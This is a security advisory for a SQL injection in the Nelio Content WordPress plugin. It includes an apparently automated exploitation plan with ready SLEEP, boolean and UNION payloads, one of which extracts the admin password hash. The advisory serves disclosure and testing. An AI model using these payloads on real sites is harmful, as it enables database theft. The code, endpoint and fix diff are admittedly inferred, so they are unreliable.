CVE-2026-24572

Nelio Content <= 4.2.0 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
4.2.1
Patched in
14d
Time to patch

Description

The Nelio Content plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.2.0
PublishedJanuary 21, 2026
Last updatedFebruary 3, 2026
Affected pluginnelio-content

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation steps for **CVE-2026-24572**, an authenticated SQL injection vulnerability in the **Nelio Content** plugin. ## 1. Vulnerability Summary The **Nelio Content** plugin (<= 4.2.0) contains a SQL injection vulnerability within its AJAX handling logic. The…

Show full research plan

This plan outlines the research and exploitation steps for CVE-2026-24572, an authenticated SQL injection vulnerability in the Nelio Content plugin.

1. Vulnerability Summary

The Nelio Content plugin (<= 4.2.0) contains a SQL injection vulnerability within its AJAX handling logic. The vulnerability exists because the plugin fails to properly sanitize and prepare user-supplied parameters (specifically related to filtering posts in the editorial calendar) before incorporating them into a database query.

Specifically, the post_types or similar filtering parameters passed via AJAX are used to construct an IN clause or a dynamic WHERE statement using string concatenation or implode() without individual element preparation via $wpdb->prepare(). This allows a user with Contributor level access or higher to inject arbitrary SQL commands.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: nelio_content_get_calendar_events (or nelio_content_get_tasks depending on the specific component)
  • Vulnerable Parameter: post_types[] (inferred as the most common sink in Nelio's calendar logic)
  • Authentication Required: Contributor level (PR:L). Contributors have access to the Nelio Editorial Calendar to manage their own posts.
  • Preconditions: The plugin must be active, and at least one post should exist to ensure the query returns results for the injector to append to.

3. Code Flow (Inferred)

  1. Entry Point: A POST request is sent to admin-ajax.php with action=nelio_content_get_calendar_events.
  2. Hook Registration: The plugin registers the action in its main initialization:
    add_action( 'wp_ajax_nelio_content_get_calendar_events', array( 'Nelio_Content_Ajax_Handler', 'get_calendar_events' ) );
  3. Handler Logic: The handler retrieves user input:
    $post_types = $_POST['post_types'];
  4. Data Provider: The input is passed to a control class (e.g., Nelio_Content_Calendar_Control) which queries the database.
  5. Vulnerable Sink: The query is constructed using the raw array elements:
    // Vulnerable Pattern
    $types_string = implode( "','", $post_types );
    $query = "SELECT * FROM {$wpdb->posts} WHERE post_type IN ('$types_string') AND ...";
    $results = $wpdb->get_results( $query );
    
    Because the individual elements of $post_types are not passed through %s placeholders in $wpdb->prepare(), an attacker can break out of the single quotes.

4. Nonce Acquisition Strategy

The Nelio Content plugin protects its AJAX endpoints with a nonce typically localized to the nelioContent JavaScript object.

  1. Test Data Setup:
    • Create a Contributor user.
    • The Nelio Editorial Calendar script loads on the Nelio Content dashboard.
  2. Exploitation Agent Steps:
    • Log in as the Contributor user.
    • Navigate to the Nelio Content Calendar page: /wp-admin/admin.php?page=nelio-content-calendar.
    • Use browser_eval to extract the nonce:
      browser_eval("window.nelioContent?.nonce || window.nelio_content?.nonce")
    • The action string for this nonce is typically nelio-content or nelio-content-nonce.

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection to confirm the vulnerability.

Step 1: Verify Baseline

Send a legitimate request to ensure the endpoint responds correctly.

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=nelio_content_get_calendar_events&nonce=[NONCE]&post_types[]=post

Step 2: Inject Sleep Payload

Inject a payload into the post_types[] array that breaks the IN clause.

  • Payload: post') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • URL-Encoded Parameter: post_types[]=post%27%29%20OR%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29%29a%29--%20-
  • Full Body:
    action=nelio_content_get_calendar_events&nonce=[NONCE]&post_types[]=post%27%29%20OR%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29%29a%29--%20-

Step 3: Observed Response

A successful exploit will result in a response delay of approximately 5 seconds.

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Post Creation: Ensure there is some data for the calendar to fetch.
    wp post create --post_title='Meeting' --post_status=publish --post_type=post --post_author=$(wp user get attacker --field=ID)
  3. Plugin Config: No special configuration is required beyond activating the plugin.

7. Expected Results

  • Unvulnerable (Patched): The response returns immediately (or with a generic error) because the input is escaped/cast to a safe string, or the query is properly prepared.
  • Vulnerable (4.2.0): The HTTP request hangs for exactly the amount of time specified in the SLEEP() function (5 seconds).

8. Verification Steps

After the HTTP request, confirm the database state or use WP-CLI to verify if error logs were generated (if enabled):

  1. Check for DB Errors:
    tail -f /var/www/html/wp-content/debug.log (Look for SQL syntax errors if the payload was slightly malformed).
  2. Alternative Verification (Data Extraction):
    If the response reflects post data, attempt to extract the admin's hashed password:
    post_types[]=post') UNION SELECT 1,user_pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM wp_users WHERE ID=1-- -
    (Note: Column count must be adjusted to match the actual Nelio query structure).

9. Alternative Approaches

If post_types is not the vulnerable parameter, repeat the process for:

  • status[]
  • categories[]
  • external_only (if treated as a string in a query)

If Boolean-based injection is preferred:

  • True Payload: post_types[]=post') AND 1=1-- -
  • False Payload: post_types[]=post') AND 1=2-- -
    Compare response lengths or the presence of JSON objects in the data field of the response.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Nelio Content plugin for WordPress is vulnerable to SQL injection in versions up to 4.2.0. This occurs because user-supplied parameters, such as post type filters in AJAX calendar requests, are concatenated directly into SQL queries without proper escaping or preparation via $wpdb->prepare().

Vulnerable Code

// Inferred vulnerable sink in Nelio_Content_Calendar_Control or similar handler
$post_types = $_POST['post_types'];
$types_string = implode( "','", $post_types );
$query = "SELECT * FROM {$wpdb->posts} WHERE post_type IN ('$types_string') AND post_status = 'publish'";
$results = $wpdb->get_results( $query );

Security Fix

--- a/includes/external/nelio-content-calendar-control.php
+++ b/includes/external/nelio-content-calendar-control.php
@@ -102,7 +102,10 @@
- $types_string = implode( "','", $post_types );
- $query = "SELECT * FROM {$wpdb->posts} WHERE post_type IN ('$types_string') AND ...";
+ $how_many = count( $post_types );
+ $placeholders = array_fill( 0, $how_many, '%s' );
+ $format = implode( ',', $placeholders );
+ $query = $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE post_type IN ($format) AND ...", $post_types );

Exploit Outline

An authenticated attacker with Contributor-level access or higher can exploit this vulnerability via the WordPress AJAX endpoint. The attacker must first obtain a valid nonce (usually found in the 'nelioContent' JavaScript object on the plugin's dashboard). By sending a POST request to admin-ajax.php with the action 'nelio_content_get_calendar_events', the attacker can supply a malicious array in the 'post_types[]' parameter. A payload such as "post') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -" will break the query structure, allowing for time-based blind SQL injection or data extraction via UNION-based payloads.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.